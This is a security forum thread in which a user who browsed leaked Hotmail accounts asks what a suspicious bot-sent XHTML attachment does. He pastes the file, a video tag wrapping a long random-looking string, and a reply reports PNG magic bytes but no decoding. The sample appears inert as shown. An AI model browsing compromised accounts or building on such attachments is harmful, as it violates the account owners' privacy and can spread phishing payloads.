Questions What kind of exploit is this?

Questions What kind of exploit is this?

Charlie77

User
User ID
129492
Aug 23, 2025
11
8
#CR
7
  • Thread starter
  • Thread Author
  • #1
Out of curiosity, I looked through a few Hotmail email accounts that had already been leaked. In many cases, emails had been sent to contacts by a bot. The emails all had an attachment, which is probably some kind of virus. However, I have never seen anything like this before.
Does anyone know what this file does?

Filename: Continuecv.xhtml
Contents:
html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=us-ascii">
</head>
<body>
<video src="2170">QNrzdOUBdxNUPwwHGeuxbMetxGoUDqtdZqpjDVFSVeryHqFRejVcZlwQVNNnQMsdhSFOKAeKgxnxVVgxqTTctOzQMPzFNhsVKJHrdtDkftinXUTqARbCcHiIlfPokhZMpWRyuaoCLdiMWXYlyzrxKjWwOoSMcRqNsohzrnZQcEeoOoybIkeBdmiZMWvBnoQgdoGzYsgUQENhfzzQrgktQeDDqczEeCwdwGCmxDKcevbPQKUUoCXpKvFpvwlpLDTTWSfnbXujbCwtYrsoHFzuwKcYqSelxIRjKZiGTiogHRDCcPTlHpxtlnEPhOnSKGVJkSdDVvTOYyjnymakiAEafmBzjnmCOvbwUVRAvLvzTSmfitRHniTusDELFZcbBPMoIhKpVQXhfpYWMPdsXPvWKjHZzSVRvNcCDjYKdzZNdhLeuwLtUpRgdnjkQBJaRjZhGAHOrxMQHngEbDFlLLVdxuPfqgkhRPxCcRgvspqdaemFpFXFabkSxUXIwWOHeABytluZnjuPKPwlUCtdzTtykOWHPUcAWaaQyxPKUqgXkOXAYEwybccbYKFcJkaKCvoUmQddsdYlhaGPGKpuYhdyHDXgUgqhJbNXQfstjGXaJeicrtUMordYaeKDYNUBdjELsXpWYyJJcwgDTmsEIqiDslPbcnnloVNQQhpoXyxedcaoGyiuDtjspHILaDyiUnOnrGdhheIEUtmJoWPjklYtUDjAOkNoMdvGDSyMZLJAvGYtjKAPeGHgZRLjbWUNtnEzOSrvcPbmWXILidxKUgysviXpZHWksKUBssvTFffzkjDMVqpsiHkHzkVQKXRUoyfAgPUCHHrzqDZuxCfLUhpcmJTXhCDZAIaseeAdxfckSNGUbJuVIAqLVKabySUXrpOzEOrlaqnlXLPQwBvnHJdqUkhsLfuOUWgEjxtHFFDUsINtoPcihoydVIFalLmBXJDlRiaUZISwtUHNlseoKMznvwYOIXvCgGSxCYQqnGgIvrohLGKiHkyCbfVWWWMNaJFhXxrDAePeASwlZhJZegyBOJBIPNnVHhbUjLxnAtbDIraDdTOsSyCCAJUtbcrSRFdxgceqXloNKzhYUacyjfsAxWCQdjqhqSpXJHbJEOjzVBtkQwbdqNcjWEqFmWFTkZBupcHJFTRIVKGvbTMaZGhehLlfGAkqXDeeMBitdImccGxAGRjCWESRTCKkrWeefEDpHSbmbCNdgXUQnImaxvnkwmnryJqSYviLwaCeuJbUTngAgjLcwKIKtxijfzzUXfILDGmgDbtTNLFEaFHHBTPFHhGUeTHDvKSjKvBQKTPTDrZdIYymTTOhTZevMLsiIkiiubAGHgBzCyqSvEMbmhoKocDNzQWMlWVcCDypXjAhUhznLkqbZFOlpjNAADcgFNqxpYJAvHRpYLaLwfuwQryYZRdYFcmoXcEOgMhfWjwramFkyuObUzGPLcWYzaVqjcgahETeNLQaeexzJCmIDwEQULHZbPZjzqFHaRwEEUnFZTIJwiHnShggZFRbFAYhMaJehYpdZByuRGIesNLhZcYrSnVbMRGKwpGOFYWcNETFaiStyWdGLhcRYFjJODfhofyzqMgUbvkjKKLTFKkbkMNSFaeqgAFdhgTBekrufUkvBtSFXSrJxHNogzUJVgkDPywRdCEvGsaSOEGPmhyEIVKQjvOOSfaNgTFKroWNpIepTdmDYVkIoGyDgWfJfZAWwdbtHVYjFuzqZICrVCrGVEHQnqRECAShVQolHcVOjqZexyLUYpXlJVYnvVYHzrcrcrtznEgQNxbCPFyziVVSJznqCAVLHihdYHIkwmorCzzvnPGOKdOviPfeYrbGUcAJyajZuGlIGZJvMeWdCfwRmLyCEYDBezvmPEjfzXEeZqOgZKeEEsLlzikfyckWecTxvjFbDgZqSNAnaJwAEpxKQtyEsroBRqqbvfLRtTHglKIcvLegzUNLqFZlasdOyCbANdeVNnUNzumPvAylqZRVeivOzQlZliovxBvaHujCqqnXfaCmyZOdkWIJHxEnyFYdNegmgCRXEIVePExoTZFmnCtZhUxcRLJdxdVsCvsahGPPTYifMzZdMuFeBcpIQojAKPIbYpdoIEpAdcgPmucpNRdgnZfQdRPibMLXNAIHiSYvBrJEuQozDiSgvzNDVDCrZeffRxAHmUefNJkcrAzSchxjfRbYSCZxHWRXHRMDHzXutnhUeROszpORIVMMVytRDObbdvYQSUVwcgsHgKEidOwULMfZRqJAhjxvqLzUNoQDfUozAaAtEVjrUKTdoSVAJdDtXHGvbVotoglsKXozhSilMjHofibfdHVwXtmCvgIUGdCknlcgRRxttztRMYojmCLllkjFcdBwtWTFxbACSpPOcLVWqCCJujuZxRMiwILjUzMRHjpECfThspBQcHFQkuCFxAzKnEZrjlewLlSPSzCZDKIsYnDdXlMmndptBlrlzQMZuCOerrGBs
</video>
</body>
</html>

Normally, this is the code to open a video, but the path to the video is this strange string. When I open it, I also get an error in the VM:
XML Parsing Error: mismatched tag. Expected: </meta>.
Location: file:///home/kali/Downloads/Continuecv.xhtml
Line Number 4, Column 3:
 
It was an interesting topic, I worked on it for a while
I couldn't exactly decode the desired string, but I came across a PNG format file and magic bytes, which I guess is an image.
Of course, the way you put the relevant content here may be misleading. If possible, put the original file in question or download the entire email and put it here.
Thanks
 
Back
Top Bottom